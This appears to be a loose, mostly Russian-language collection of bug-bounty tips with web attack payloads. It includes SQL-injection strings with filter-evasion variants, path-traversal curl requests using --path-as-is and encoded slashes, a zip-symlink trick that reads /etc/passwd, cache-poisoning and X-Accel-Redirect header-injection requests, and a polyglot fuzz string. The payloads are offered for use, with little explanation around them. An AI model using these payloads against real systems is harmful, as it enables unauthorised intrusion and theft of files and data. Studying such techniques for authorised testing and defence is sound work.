/../../anything → 400 Bad Request
/deep/path/../../anything → OK
/deep/path/../../../anything → 400 Bad Request

☝️Если при эксплуатации SQL-инъекции сервер пятисотит, при этом обычные булевые инъекции дают нестабильные результаты, попробуй пэйлоады из примеров. Они должны вызывать 500-ю ошибку в случае, когда условие (1=1) истинно.

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: MISS
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 6
X-Cache: HIT

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Authorization: test

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 12
X-Cache: HIT

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 5
X-Cache: HIT

Все новое — это хорошо забытое старое

INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', 'hash');

INSERT INTO users (username, email, password)
VALUES ('x', (SELECT version()), 'y')-- -', 'test@example.com', 'hash');

'/**/OR/**/1=1--/**/-

'OR%0A1=1--%0A-

'OR(1=1)-- -

'oR 1=1-- -
'Or 1=1-- -
'OR 1=1-- -

curl --path-as-is https://api.example.com/sdalksjdeiu1/customer-serivice/endpoint1

curl --path-as-is https://api.example.com/sdalksjdeiu1/../customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%2F/customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%252Fcustomer-serivice/endpoint1

<z>"z'z`%}})z${{z\

$ ln -s /etc/passwd test.txt
$ zip --symlinks test.zip test.txt

https://domain.com/test.txt

id: 6620a595-520b-1ba2-2b20-5ea8568fdb89
name: Filter JSON responses with incorrect content type
function: VIEW_FILTER
location: PROXY_HTTP_HISTORY
source: |+

  return !requestResponse.request().method().equals("OPTIONS");

  var contentType = requestResponse.hasResponse() ? requestResponse.response().headerValue("Content-Type") : null;

  if (contentType != null && !contentType.contains("application/json")) {
    String body = requestResponse.response().bodyToString().trim();

    return body.startsWith( "{" ) || body.startsWith( "[" );
  }

  return false;

@app.route('/')
def index():
    headers = json.loads(unquote(request.args.get("headers")))
    return Response("Hello, world!", headers=headers)

GET /?headers={"X-Accel-Redirect":"/internal"} HTTP/1.1

HTTP/1.1 200 OK
...

Internal

const element = createElement(type, props, ...children)

-Djdk.tls.maxHandshakeMessageSize=65536